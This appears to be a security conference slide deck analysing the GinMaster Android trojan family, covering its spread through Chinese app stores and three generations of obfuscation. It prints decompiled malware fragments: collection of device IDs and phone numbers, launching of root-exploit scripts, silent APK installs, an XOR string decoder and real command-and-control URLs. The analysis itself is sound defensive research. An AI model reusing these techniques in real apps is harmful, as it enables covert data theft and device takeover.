

# GinMaster



## A case study in Android malware

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# What is GinMaster?

Android GinMaster is  
a Trojanized and re-packaged application family  
distributed in Chinese thirty party stores  
targeting Android mobile devices

# Where does GinMaster come from?



- Discovered in August 2011
- First Android malware to exploit *GingerBreak* by attacking Android 2.3 (code name *Gingerbread*)
- First named *GingerMaster*, now known as *GinMaster*


# What about GinMaster?

- Duration
- Volume
- Growth
- Location
- Types
- Complexity
- \$\$\$
- Comparison between PC and Android Malware

# Long Duration

26 months of GinMaster attacks  
since August 2011

# Top 3 Android Malware by Volume




**300+** malware families have been recorded by SophosLabs.

- GinMaster
- Rest of Malware

# Dramatic Growth of GinMaster Variants


## Quarterly View



# Location – China

150M Android devices in China

2012 Smartphone Market Share



\* Source from idc.com

# Location – Chinese third-party stores

# Over 400 popular third-party stores in China

## Android Distribution in the West




Making Sense of China Mobile Game Distribution



# Location – high infect rate in China

## 2013 Global Infect Rates



\* Report from NQ Mobile


# Types of Android Malware



# Complexity – Sophisticated Functionalities

Teardown of 1<sup>st</sup> GinMaster Generation

# GinMaster Video



# Anatomy of GinMaster

- Permissions
- AndroidManifest file
- Main part of malicious code
- Binaries and shell scripts
- Database
- Command and Control

# Permissions

```
uses-permission:'android.permission.READ_PHONE_STATE'  
uses-permission:'android.permission.READ_LOGS'  
uses-permission:'android.permission.DELETE_CACHE_FILES'  
uses-permission:'android.permission.ACCESS_CACHE_FILESYSTEM'  
uses-permission:'android.permission.WRITE_SECURE_SETTINGS'  
uses-permission:'android.permission.ACCESS_NETWORK_STATE'  
uses-permission:'android.permission.INTERNET'  
uses-permission:'android.permission.WRITE_EXTERNAL_STORAGE'  
uses-permission:'android.permission.MOUNT_UNMOUNT_FILESYSTEMS'  
uses-permission:'android.permission.READ_OWNER_DATA'  
uses-permission:'android.permission.WRITE_OWNER_DATA'  
uses-permission:'android.permission.WRITE_SETTINGS'  
uses-permission:'com.android.launcher.permission.INSTALL_SHORTCUT'  
uses-permission:'com.android.launcher.permission.UNINSTALL_SHORTCUT'  
uses-permission:'android.permission.RECEIVE_BOOT_COMPLETED'  
uses-permission:'android.permission.RESTART_PACKAGES'  
uses-permission:'android.permission.READ_EXTERNAL_STORAGE'
```

# AndroidManifest file

```
<activity android:label="@string/image_name" android:icon="@drawable/image_icon"  
android:name=".Web" android:launchMode="singleInstance"  
android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">  
....  
<service android:name=".GameService" android:enabled="true"  
android:exported="true">  
    <intent-filter>  
        <action android:name="android.intent.action.MAIN" />  
        <category android:name="android.intent.category.LAUNCHER" />  
    </intent-filter>  
    </service>  
<receiver android:name="GameBootReceiver">  
    <intent-filter>  
        <action android:name="android.intent.action.BOOT_COMPLETED" />  
    </intent-filter>  
    </receiver>
```

# **'GameService' – main part of the malicious code**

**// register a PACKAGE\_ADDED receiver**

```
IntentFilter localIntentFilter1 = new  
IntentFilter("android.intent.action.PACKAGE_ADDED");  
localIntentFilter1.addAction("android.intent.action.PACKAGE_ADDED");  
localIntentFilter1.addCategory("android.intent.category.DEFAULT");  
localIntentFilter1.addDataScheme("package");  
this.c = new GameBootReceiver();  
registerReceiver(this.c, localIntentFilter1);
```

**// register a PACKAGE\_REMOVED receiver**

```
IntentFilter localIntentFilter2 = new  
IntentFilter("android.intent.action.PACKAGE_REMOVED");  
localIntentFilter2.addAction("android.intent.action.PACKAGE_REMOVED");  
localIntentFilter2.addCategory("android.intent.category.DEFAULT");  
localIntentFilter2.addDataScheme("package");  
registerReceiver(this.c, localIntentFilter2);
```

```
// create a SQLite database used for harvesting package information
this.a = openOrCreateDatabase("game_service_package.db", 268435456, null);
this.a.execSQL("CREATE TABLE IF NOT EXISTS game_package (package_name
char(128) not null default ",version_name char(128) not null default
",version_code char(16) not null default ",status char(1) not null default '1',soft_id
char(10) not null default ",primary key (package_name))");
Log.i("GameSvc", "create db in onCreate");
this.a.execSQL("CREATE INDEX IF NOT EXISTS pni ON game_package
(package_name)");
this.a.execSQL("CREATE INDEX IF NOT EXISTS si ON game_package (soft_id)");
// collect sensitive information including the device id, phone number,
network type and others
SharedPreferences.Editor localEditor = this.b.edit();
localEditor.putString("imei", this.f);
localEditor.putString("imsi", this.g);
localEditor.putString("cpuid", this.k);
localEditor.putString("simNum", this.h);
localEditor.putString("telNum", this.i);
```

## // ELF32 for ARM binaries and shell scripts

```
a("gbfm.png");
a("install.png");
a("installsoft.png");
a("runme.png");
}

try
{
```

## // prepare and launch the exploit at the background

```
String str = "chmod 775 " + getFilesDir() + "/gbfm.sh " +
getFilesDir() + "/install.sh " + getFilesDir() + "/installsoft.sh " +
getFilesDir() + "/runme.sh ";

Log.i("GameSvc", str);

Runtime.getRuntime().exec(str);
```

# Binaries and shell scripts

- *gbfm.png* – the exploit binary to escalate root privilege
- *install.png* – a shell script used to configure files in system partition for later usage
- *installsoft.png* – another shell script for the remote command & control service to install application silently
- *runme.png* – an ELF binary to execute above shell scripts

# Database

game_package	game_service_download	game_service_folder
<i>package_name</i> char(128)	<i>soft_id</i> int(11)	<i>file_id</i> int(11)
<i>version_name</i> char(128)	<i>package_name</i> varchar(32)	<i>file_title</i> varchar(32)
<i>version_code</i> char(16)	<i>app_name</i> varchar(32)	<i>icon_file</i> varchar(128)
<i>status</i> char(1)	<i>icon</i> varchar(32)	<i>package_name</i> varchar(128)
<i>soft_id</i> char(10)	<i>url</i> varchar(32)	<i>version_name</i> varchar(32)
primary key ( <i>package_name</i> )	<i>status</i> int(1)	<i>version_code</i> varchar(32)
	<i>completed</i> int (11)	<i>folder_id</i> varchar(32)
	<i>total</i> int(11)	<i>folder_title</i> varchar(32)
	<i>filepath</i> varchar(128)	primary key ( <i>folder_id</i> , <i>package_name</i> )

# Command and Control


Command and Control	
http://<url>/report/first_run.do	Report the starting of the GinMaster
http://<url>/report/install_success.do	Post package information when installing a package
http://<url>/report/uninstall_success.do	Post package information when uninstalling a package
http://<url>/report/install_list.do	Report information when installing a list of packages
http://<url>/request/config.do	Configure The frequency for checking into the server
http://<url>/request/push.do	soft_last_id
http://<url>/request/alert.do	alert_last_id
http://<url>/request/index.do	Not sure
http://<url>/request/update.do	Not sure
http://<url>/client.php?action=softlist	Get a whole list of software
http://<url>/client.php?action=soft&soft_id=	Get a link to a specified software
http://<url>/client.php?action=softlist&type=search&word=	Search a list of software with specified word

# Complexity – Obfuscation and Encryption

Evolution of GinMaster


# Breakdown by Generation

Smarter GinMaster



# 2<sup>nd</sup> Generation – Close to Polymorphism

In the beginning of 2012



001f22a5d8b3cb4a2692c56e8252410961b58a84-dex2jar.jar

com  
  papaya  
    snCGQcQG  
      ADsDialog  
      MDVPLIVPCm  
      OdQUGkPEJvgUal  
      R  
      a  
      aa  
      ab  
      ac  
      ad  
      ae  
      af  
      ag  
      ah  
      astfMtFaOBRT  
      b  
      c  
      d  
      e  
      f  
      fpssjlnU  
      g

n.class o.class p.class q.class

```
package com.snCGQcQG;

import android.app.ActivityManager;

public final class p
{
    public static final String a = b("EAwMCEJXVxtWSBcXSBCxXFYRFh4X0ktKQE9LVxsUER0WDBYdD1YIEAg=");
    public static final String b = b("EAwMCEJXVxtWGQgIDh0KER4BVhEWlhdsC0pAT0tXGxQRHRYMFh0PVggQCA==");
    public static String c = "";
    public static boolean d = false;
    public static final String e = b("GRsMERcWRRkUHQoM");
    public static final String f = b("GRsMERcWRQgNcxA=");
    public static final String g = b("GRsMERcWRQgXCBoZChYd14MAQgdRR8dDF4WHQ9FSQ==");
    public static final String h = b("GRsMERcWRR8dDBoZC14MAQgdRR8dDA==");
    public static final String i = b("GRsMERcWRQsXHgxeCxceDCCrRHEU");
    public static final String j = b("GRsMERcWRQgNcxAVCx8=");
    public static final String k = b("GRsMERcWRQodCBcKDF4MAQgdRREWCwzFBQnCw0bGx0LCw==");
    public static final String l = b("GRsMERcWRQodCBcKDF4MAQgdRRwXDxFkcJwsNGxsdCws=");
    public static final String m = b("GRsMERcWRQodCBcKDF4MAQgdRR4RCgsMJwoNFg==");
    public static final String n = b("GRsMERcWRQodCBcKDF4MAQgdRRwXDyNQgT");

    private static ArrayList o = new ArrayList();

    public static Drawable a(File paramString)
    {
        FileInputStream localFileInputStream;
```

```
public static String b(String paramString)
{
    byte[] arrayOfByte = d.b(paramString).getBytes();
    for (int i1 = 0; i1 < arrayOfByte.length; i1++)
        arrayOfByte[i1] = (byte)(0x78 ^ arrayOfByte[i1]);
    return new String(arrayOfByte);
}
```

# Command and Control

Encrypted String XORed with 0x78 in Base64 encode	Decrypted String
EAwMCEJVxtWSBcXSBCXSFYRFh4XQktKQE9LVxsUER0WDBYdD1YIEAg=	<a href="http://c.0oo0oo0.info:32873/clientnew.php">http://c.0oo0oo0.info:32873/clientnew.php</a>
EAwMCEJVxtWGQgIDh0KER4BVhEWHdCS0pAT0tXGxQRHRYMFh0PVggQCA==	<a href="http://c.appverify.info:32873/clientnew.php">http://c.appverify.info:32873/clientnew.php</a>
GRsMERcWRQodCBcKDF4MAQgdRREWCwwZFBQnCw0bGx0LCw==	action=report&type=install_success
GRsMERcWRQodCBcKDF4MAQgdRRwXDxYUFxkcJwsNGxsdCws=	action=report&type=download_success
GRsMERcWRQodCBcKDF4MAQgdRR4RCgsMJwoNFg==	action=report&type=first_run
GRsMERcWRRkUHQoM	action=alert
GRsMERcWRQgNCxA=	action=push
GRsMERcWRQsXHgxeCxceDCcRHEU=	action=soft&soft_id=

# Plaintext in Database

The screenshot shows a Java decompiler interface with the title bar "001f22a5d8b3cb4a2692c56e8252410961b58a84-dex2jar.jar". The left pane lists class names from a to y. The right pane displays the source code for class e.java. A red box highlights the database-related code in the onCreate and onUpgrade methods.

```
        }
        localCursor.close();
        return str;
    }

    public final void onCreate(SQLiteDatabase paramSQLiteDatabase)
    {
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS downloadFile([fileName] varchar(100)  UNI");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS notificationList([softID] int  UNIQUE NOT");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS packageInfo([packageName] vaRCHAR(30)  UN");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS installedPackageInfo([packageName] vaRCH");
    }

    public final void onUpgrade(SQLiteDatabase paramSQLiteDatabase, int paramInt1, int paramInt2)
    {
        paramSQLiteDatabase.execSQL("DROP TABLE IF EXISTS downloadFile");
        paramSQLiteDatabase.execSQL("DROP TABLE IF EXISTS notificationList");
        paramSQLiteDatabase.execSQL("DROP TABLE IF EXISTS packageInfo");
        paramSQLiteDatabase.execSQL("DROP TABLE IF EXISTS installedPackageInfo");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS downloadFile([fileName] varchar(100)  UNI");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS notificationList([softID] int  UNIQUE NOT");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS packageInfo([packageName] vaRCHAR(30)  UN");
        paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS installedPackageInfo([packageName] vaRCH");
    }
}
```

# Install Apk with Intent

```
public final void a(String paramString)
{
    Intent localIntent = new Intent();
    localIntent.addFlags(268435456);
    localIntent.setAction("android.intent.action.VIEW");
    localIntent.setDataAndType(Uri.fromFile(new
File(paramString)), "application/vnd.android.package-
archive");
    startActivity(localIntent);
}
```

# Sophisticated 3<sup>rd</sup> Generation

The screenshot shows a Java decompiler interface with a red box highlighting a section of the code. The left pane displays a class hierarchy tree under the package `com.admob.android.ads.maNstbsb`. The right pane shows the decompiled Java code. A red box highlights the following code block:

```
H = (String)local0bject;
local0bject = "PjksPzkeJSI6DAk+CSQsISIqGSQgKA==";
local0bject = c((String)local0bject);
I = (String)local0bject;
local0bject = "Kig5DCEoPzkZJC AoPg==";
local0bject = c((String)local0bject);
J = (String)local0bject;
local0bject = "ISw+0Qw+JgooOR04PiUJKD4mCSw5LA==";
local0bject = c((String)local0bject);
K = (String)local0bject;
local0bject = "JTk5PXdiYi5jFSIifSIifWMkIysid35/dXp+Yi4hJCgjOSMo0mM9JT0=";
local0bject = c((String)local0bject);
L = (String)local0bject;
local0bject = "JTk5PXdiYi5jLD090yg/JCs0YyQjKyJ3fn91en5iLiEkKCM5Iyg6Yz0lPQ==";
local0bject = c((String)local0bject);
M = (String)local0bject;
local0bject = "LCEsPyALISwq";
local0bject = c((String)local0bject);
N = (String)local0bject;
local0bject = "IyI5JcskLiw5JCIjBAk=";
local0bject = c((String)local0bject);
O = (String)local0bject;
local0bject = "Iyg6AyI5JcskLiw5JCIjHSwuJiwqKAMsICg=";
local0bject = c((String)local0bject);
P = (String)local0bject;
local0bject = "KyQhKBgFAQ==";
```


# Sample of encrypted and decrypted strings in 3<sup>rd</sup> GinMaster Generation

Encrypted string by a customized algorism	Decrypted String
JTk5PXdiYi5jfSIifSIifWMkIysid35/dXp+Yi4hJCgjOSMoOmM9JT0=	<a href="http://c.0oo0oo0.info:32873/clientnew.php">http://c.0oo0oo0.info:32873/clientnew.php</a>
JTk5PXdiYi5jLD09Oyg/JCs0YyQjKyJ3fn91en5iLiEkKCM5Iyg6Yz0lPQ==	<a href="http://c.appverify.info:32873/clientnew.php">http://c.appverify.info:32873/clientnew.php</a>
LC45JCIjcD8oPSI/OWs5ND0ocCQjPjksISESPjguLig+Pg==	action=report&type=install_success
LC45JCIjcD8oPSI/OWs5ND0ocCkiOiMSLD0m	action=report&type=down_apk
LC45JCIjcCwhKD85	action=alert
LC45JCIjcCAiPygkIz45LCEhazk0PShwKig5	action=moreinstall&type=get
Dh8IDBkIbRkMDwEIbQQLbQMCGW0IFQQeGR5t	CREATE TABLE IF NOT EXISTS
ZRY9LC4mLCooAywgKBBtOywfDgUMH2V+fWRtbRgDBBwYCG0DAhltAxgBAW0dHwQADB8UbQYIFGE=	([packageName] vaRCHAR(30) UNIQUE NOT NULL PRIMARY KEY,


\$\$\$

- Considerable profit generated by GinMaster
- The business model of GinMaster
- The business strategies of GinMaster

# Inside the GinMaster \$\$\$ Factory



# Business Model of GinMaster






# Business Strategies of GinMaster

In order to maximize the profit, the malware writer has to keep the malicious applications on users' devices as long as possible.

The malware writer utilizes the following 3 strategies to achieve above objective.

# Strategy 1

Pick the most suitable category to attract users.



## Strategy 2

Re-packaging interesting and exciting applications for downloading.



AK



## Strategy 3

Frequently change certificate and encryption algorism  
against detection.

	Frequency of Each App Certificate on average
1st Generation	33.19
2nd Generation	3.81
3rd Generation	1.32

# Comparison between PC and Android Malware

	Cipher	Polymorphic	Botnet
PC	2 years (XOR)	6 years	9 years
Android	4 months (DES)	1.5 years	1 year

# Conclusion

- The GinMaster ecosystem is a representative model of China Android malware.
- This model is reaching other emerging countries such as Thailand and Vietnam.
- There is no end to the war in sight.

# The Android Malware Saga

**To be continued**

# Q&A